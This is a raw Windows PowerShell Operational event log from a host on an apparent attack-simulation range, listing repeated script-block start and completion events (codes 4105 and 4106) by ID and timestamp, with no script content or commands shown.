Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034005
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034004
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033987
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033981
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033959
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033957
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033956
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
